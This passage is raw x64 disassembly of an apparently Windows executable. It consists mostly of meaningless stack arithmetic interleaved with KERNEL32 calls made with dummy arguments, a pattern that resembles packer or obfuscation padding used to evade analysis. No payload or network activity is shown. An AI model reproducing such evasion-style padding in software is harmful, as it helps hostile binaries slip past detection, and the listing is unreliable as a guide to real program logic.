mov eax, dword [rax]
mov ecx, dword [rsp + 0x820c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x96e0], eax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa624]
shl eax, cl
mov dword [rsp + 0x86e0], eax
mov rax, qword [rsp + 0x14a78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf8]
or eax, ecx
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
mov byte [rsp + 0x6d6], al
mov eax, dword [rsp + 0x7bf8]
mov ecx, dword [rsp + 0xa3dc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa910], eax
lea rcx, str.V_fJR9_YyvXSeL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ddc], ax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d8]
shr eax, cl
mov dword [rsp + 0xa6dc], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov dword [rsp + 0xa954], eax
mov rax, qword [rsp + 0x14720]
mov ecx, dword [rsp + 0xa390]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa6c0], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2db0]
add eax, ecx
mov word [0x1402827c8], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov byte [rsp + 0x6d7], al
mov rax, qword [rsp + 0x14840]
mov ecx, dword [rsp + 0xa4bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa078], eax
mov eax, dword [rsp + 0x8c34]
mov ecx, dword [rsp + 0xa534]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa948], eax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2e9]
sub eax, ecx
mov byte [rsp + 0x494], al
movsx eax, word [rsp + 0x1d78]
mov rcx, qword [rsp + 0x142b0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2c28], ax
movzx eax, byte [0x140281e1a]
mov byte [rsp + 0x6d8], al
movzx eax, word [rsp + 0x26c8]
movzx ecx, word [rsp + 0x2d48]
and eax, ecx
mov word [rsp + 0x2d18], ax
mov eax, dword [rsp + 0xa46c]
mov ecx, dword [rsp + 0xa370]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148d8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa2b4], eax
mov eax, dword [rsp + 0xa878]
mov dword [0x14028ecec], eax
lea rax, [rsp + 0xa4e4]
mov qword [rsp + 0x14aa0], rax
mov rax, qword [rsp + 0x14248]
mov ecx, dword [rsp + 0xa90c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa474], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov dword [rsp + 0xa958], eax
movzx eax, word [0x1402827b4]
movzx ecx, word [rsp + 0x2d90]
sub eax, ecx
mov rcx, qword [rsp + 0x14240]
mov word [rcx], ax
mov edx, 0x37f
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa6d0], eax
movzx eax, byte [rsp + 0x685]
mov rcx, qword [rsp + 0x14470]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25b], al
mov rax, qword [rsp + 0x14820]
mov ecx, dword [rsp + 0x8ea0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa448], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14180]
mov qword [rsp + 0x14aa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14aa8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x866c], eax
mov eax, dword [rsp + 0xa378]
mov dword [rsp + 0xa95c], eax
mov rax, qword [rsp + 0x149a0]
mov eax, dword [rax]
mov ecx, dword [0x14028ed74]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b60], ax
movzx eax, byte [rsp + 0x325]
mov byte [rsp + 0x6d9], al
movsx eax, byte [rsp + 0x65b]
movsx ecx, byte [rsp + 0x2e9]
and eax, ecx
mov byte [rsp + 0x642], al
movsx eax, word [rsp + 0x2db8]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [0x140282748]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ad8], eax
mov eax, dword [rsp + 0xa304]
mov ecx, dword [rsp + 0xa914]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa778], eax
lea rax, [rsp + 0x2be4]
mov qword [rsp + 0x14ab0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa960], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
movzx ecx, byte [0x140281de6]
add eax, ecx
mov rcx, qword [rsp + 0x147c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x8920]
mov ecx, dword [rsp + 0xa7c0]
sub ecx, eax
mov eax, ecx
mov dword [0x1402827cc], eax
mov eax, dword [rsp + 0xa394]
mov ecx, dword [rsp + 0xa6b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x87b0], eax
lea rax, [rsp + 0x7350]
mov qword [rsp + 0x14ab8], rax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x147f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa630], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa610], eax
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
mov word [rsp + 0x2de0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, byte [rsp + 0x6ce]
movzx ecx, byte [rsp + 0x679]
add eax, ecx
mov byte [rsp + 0x68f], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rdx, [rsp + 0xa894]
mov rcx, qword [rsp + 0x14928]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0xa968], eax
mov rax, qword [rsp + 0x145d8]
mov ecx, dword [rsp + 0xa664]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa698], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402826f4]
shl eax, cl
mov dword [rsp + 0x7c28], eax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x14a50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa96c], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x149c0]
mov qword [rsp + 0x14ac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ac0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140282690], eax
mov rax, qword [rsp + 0x14820]
mov rcx, qword [rsp + 0x145d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa03c], eax
movsx eax, word [rsp + 0x2dcc]
movsx ecx, word [rsp + 0x2d44]
or eax, ecx
mov word [rsp + 0x2bbc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa444], eax
mov rax, qword [rsp + 0x14298]
movzx eax, byte [rax]
mov byte [rsp + 0x6da], al
mov rax, qword [0x14028ed28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25b]
and eax, ecx
mov byte [rsp + 0x63f], al
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dac], ax
mov rax, qword [rsp + 0x14a18]
mov eax, dword [rax]
mov dword [rsp + 0xa970], eax
mov rax, qword [0x14028ecf8]
mov ecx, dword [rsp + 0x72c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7c8], eax
movzx eax, byte [rsp + 0x6c4]
mov byte [rsp + 0x6db], al
movzx eax, word [rsp + 0x2ca8]
movzx ecx, word [rsp + 0x2bfc]
add eax, ecx
mov word [0x140282754], ax
mov eax, dword [rsp + 0x7b28]
mov ecx, dword [rsp + 0xa694]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f0], eax
mov eax, dword [rsp + 0xa7c4]
mov ecx, dword [rsp + 0xa5e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa554], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c88], eax
mov eax, dword [rsp + 0xa71c]
mov ecx, dword [rsp + 0xa4a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x85d0], eax
movzx eax, word [rsp + 0x2cc4]
mov word [rsp + 0x2de4], ax
movzx eax, byte [0x14028ecf4]
movzx ecx, byte [rsp + 0x640]
sub eax, ecx
mov byte [rsp + 0x5bc], al
mov rax, qword [rsp + 0x14748]
mov ecx, dword [rsp + 0xa724]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa4dc], eax
mov eax, dword [rsp + 0x6ddc]
mov dword [rsp + 0xa974], eax
movsx eax, word [rsp + 0x1598]
mov rcx, qword [rsp + 0x143c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402827d0], ax
movsx eax, byte [rsp + 0x66c]
movsx ecx, byte [rsp + 0x680]
or eax, ecx
mov byte [rsp + 0x642], al
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bfc]
sar eax, cl
mov word [rsp + 0x2aec], ax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14698]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14480]
mov byte [rcx], al
mov rax, qword [rsp + 0x148c0]
mov eax, dword [rax]
mov dword [rsp + 0xa978], eax
mov rax, qword [rsp + 0x14840]
mov ecx, dword [rsp + 0xa638]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8e8], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [rsp + 0x14838]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa398], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa89c], eax
mov eax, dword [rsp + 0xa600]
mov dword [rsp + 0xa97c], eax
mov rax, qword [rsp + 0x14420]
mov ecx, dword [rsp + 0xa948]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8a8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14ac8], rax
movzx eax, word [rsp + 0x2b64]
movzx ecx, word [rsp + 0x2c1c]
sub eax, ecx
mov word [rsp + 0x21fc], ax
movzx eax, byte [rsp + 0x1ae]
mov byte [0x14028ece8], al
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ca0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa504], eax
mov rax, qword [rsp + 0x147a8]
mov eax, dword [rax]
mov dword [rsp + 0xa980], eax
lea rcx, [rsp + 0x21a68]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0xa728]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
mov byte [rsp + 0x6dc], al
movzx eax, word [rsp + 0x2d84]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14130]
mov word [rcx], ax
mov rax, qword [0x14028ed38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1fa0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, byte [rsp + 0x6cb]
movsx ecx, byte [rsp + 0x28d]
shl eax, cl
mov byte [rsp + 0x18f], al
mov rax, qword [rsp + 0x14378]
mov ecx, dword [rsp + 0x6938]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14028eddc], eax
mov eax, dword [rsp + 0xa400]
mov rcx, qword [rsp + 0x14420]
mov qword [rsp + 0x14ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ad0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa3d4], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov word [rsp + 0x2de8], ax
movzx eax, byte [0x140281daa]
mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x411], al
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov dword [rsp + 0xa984], eax
mov rax, qword [rsp + 0x149d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8bc0], eax
mov rax, qword [rsp + 0x14aa0]
mov eax, dword [rax]
mov ecx, dword [0x140282708]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7620]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6880], eax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14a00]
mov word [rcx], ax
movzx eax, byte [rsp + 0x62f]
movzx ecx, byte [rsp + 0x1aa]
add eax, ecx
mov byte [0x140281e3a], al
mov eax, dword [rsp + 0xa684]
mov dword [rsp + 0xa988], eax
mov eax, dword [rsp + 0xa53c]
mov ecx, dword [rsp + 0xa544]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa8a0]
mov ecx, dword [rsp + 0x9b48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov dword [rsp + 0xa98c], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x144d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x75e0], eax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x6dd], al
mov rax, qword [rsp + 0x14a98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b54], ax
movzx eax, word [0x1402826bc]
mov rcx, qword [rsp + 0x14990]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2dd0], ax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d6]
sub eax, ecx
mov byte [0x140281dba], al
mov eax, dword [0x14028ed30]
mov rcx, qword [rsp + 0x14a18]
mov qword [rsp + 0x14ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ad8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x681c], eax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8144]
shr eax, cl
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov word [rsp + 0x2dec], ax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3d7]
xor eax, ecx
mov byte [rsp + 0x6ba], al
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8f8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa62c], eax
mov eax, dword [rsp + 0xa93c]
mov dword [rsp + 0xa990], eax
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xa720]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa534], eax
mov rax, qword [rsp + 0x146f8]
mov rcx, qword [rsp + 0x149c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x94a4], eax
movzx eax, byte [rsp + 0x6bb]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov byte [0x140281e3b], al
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2188]
and eax, ecx
mov word [rsp + 0x2d50], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa964], eax
lea rax, [rsp + 0xa4d8]
mov qword [rsp + 0x14ae0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [0x14028277c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa940], eax
movsx eax, byte [rsp + 0x649]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6cf], al
movzx eax, word [rsp + 0x15e8]
mov word [rsp + 0x2df0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa994], eax
movzx eax, word [rsp + 0x2d48]
movzx ecx, word [rsp + 0x15d4]
add eax, ecx
mov word [rsp + 0x1860], ax
movzx eax, byte [rsp + 0x640]
mov byte [rsp + 0x6de], al
mov rax, qword [rsp + 0x14560]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa388], eax
mov eax, dword [rsp + 0xa660]
mov ecx, dword [0x1402826c4]
add ecx, eax
mov eax, ecx
mov dword [0x1402826b4], eax
mov eax, dword [rsp + 0x6a78]
mov ecx, dword [rsp + 0xa954]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fc8], eax
mov eax, dword [rsp + 0xa430]
mov rcx, qword [rsp + 0x14a40]
mov qword [rsp + 0x14ae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ae8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8d30], eax
mov rax, qword [rsp + 0x14438]
mov rcx, qword [rsp + 0x144e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14580]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x691]
mov byte [rsp + 0x6df], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b40], ax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa620]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa86c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov dword [rsp + 0xa998], eax
mov rax, qword [rsp + 0x14288]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa47c], eax
mov rax, qword [rsp + 0x14490]
mov ecx, dword [rsp + 0x872c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028ed00], eax
movzx eax, byte [rsp + 0x660]
movzx ecx, byte [rsp + 0x6cd]
sub eax, ecx
mov byte [rsp + 0x101], al
movzx eax, word [rsp + 0x2b40]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dac], ax
movsx eax, byte [rsp + 0x634]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x649], al
movzx eax, word [rsp + 0x2cd4]
mov word [rsp + 0x2df4], ax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x148d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8e8], eax
mov eax, dword [rsp + 0x9784]
mov dword [rsp + 0xa99c], eax
mov rax, qword [rsp + 0x14ab0]
movzx eax, word [rax]
movzx ecx, word [0x14028ed8c]
sub eax, ecx
mov word [rsp + 0x2c4c], ax
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
mov byte [rsp + 0x6e0], al
lea rax, [rsp + 0x9ed8]
mov qword [0x14028ece0], rax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x14348]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa900], eax
mov rax, qword [rsp + 0x14748]
mov ecx, dword [rsp + 0xa5dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa724], eax
movzx ecx, word [rsp + 0x2ddc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bdc], ax
mov eax, dword [rsp + 0xa7b0]
mov ecx, dword [rsp + 0xa4bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d7c], eax
movzx eax, byte [rsp + 0x671]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5d1], al
movzx eax, word [rsp + 0x2d24]
mov word [rsp + 0x2df8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.0syc2QoTLlyRoaaVTvB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14af0], rax
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x147c0]
mov qword [rsp + 0x14af8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14af8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a0c], eax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa914]
sar eax, cl
mov dword [rsp + 0xa5a8], eax
mov rax, qword [rsp + 0x14840]
mov eax, dword [rax]
mov dword [rsp + 0xa9a0], eax
mov eax, dword [rsp + 0xa784]
mov dword [0x14028ecd8], eax
mov rax, qword [rsp + 0x144f0]
mov rcx, qword [rsp + 0x147c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9d70], eax
lea rax, [rsp + 0x1dec]
mov qword [rsp + 0x14b00], rax
movsx eax, byte [rsp + 0x655]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14120]
mov byte [rcx], al
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x542]
sub eax, ecx
mov byte [rsp + 0x6a8], al
movzx eax, word [rsp + 0x1f4c]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b1c], ax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa61c], eax
mov eax, dword [0x140282690]
mov dword [rsp + 0xa9a4], eax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d5]
add eax, ecx
mov byte [rsp + 0x6c2], al
movzx eax, word [rsp + 0x2b68]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14028edc8], ax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov dword [rsp + 0xa9a8], eax
mov rax, qword [rsp + 0x149c0]
mov ecx, dword [rsp + 0xa5dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7dc], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5d4], eax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x75ac], eax
movzx ecx, word [rsp + 0x2c08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb0], ax
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ca4]
or eax, ecx
mov word [rsp + 0x1bbc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
mov byte [rsp + 0x6e1], al
mov rax, qword [rsp + 0x147e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa974]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3dc], eax
mov eax, dword [rsp + 0xa464]
movzx ecx, al
mov eax, dword [rsp + 0xa418]
shl eax, cl
mov dword [rsp + 0xa5cc], eax
mov rax, qword [0x14028ede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
sar eax, cl
mov word [0x1402826b8], ax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x6e2], al
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d8c], ax
lea rax, [rsp + 0xb3]
mov qword [rsp + 0x14b08], rax
mov rax, qword [rsp + 0x14880]
mov ecx, dword [rsp + 0x89fc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ad8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8f0], eax
mov rax, qword [rsp + 0x146c0]
mov ecx, dword [rsp + 0x67e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7a5c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x14768]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa730], eax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov dword [rsp + 0xa9ac], eax
movzx eax, word [rsp + 0x2b84]
movzx ecx, word [rsp + 0x15c8]
sub eax, ecx
mov word [rsp + 0x2aec], ax
lea rax, [rsp + 0x275]
mov qword [0x14028ecd0], rax
mov eax, dword [rsp + 0xa7a0]
mov ecx, dword [rsp + 0xa468]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8144], eax
mov eax, dword [rsp + 0xa3e8]
mov dword [rsp + 0xa9b0], eax
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa658], eax
mov eax, dword [rsp + 0xa100]
mov ecx, dword [0x1402826f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6690], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x682]
xor eax, ecx
mov rcx, qword [rsp + 0x14808]
mov byte [rcx], al
movzx eax, word [rsp + 0x2574]
mov word [rsp + 0x2dfc], ax
movsx eax, word [0x1402826cc]
movsx ecx, word [rsp + 0x2bac]
shl eax, cl
mov word [rsp + 0x2cac], ax
movsx eax, byte [rsp + 0x6ac]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x62e], al
lea rax, [rsp + 0xa3c4]
mov qword [0x14028ecc8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov dword [rsp + 0xa9b4], eax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14998]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x664], al
movzx eax, word [rsp + 0x2c44]
mov word [rsp + 0x2e00], ax
mov rax, qword [rsp + 0x146f8]
mov ecx, dword [0x140282738]
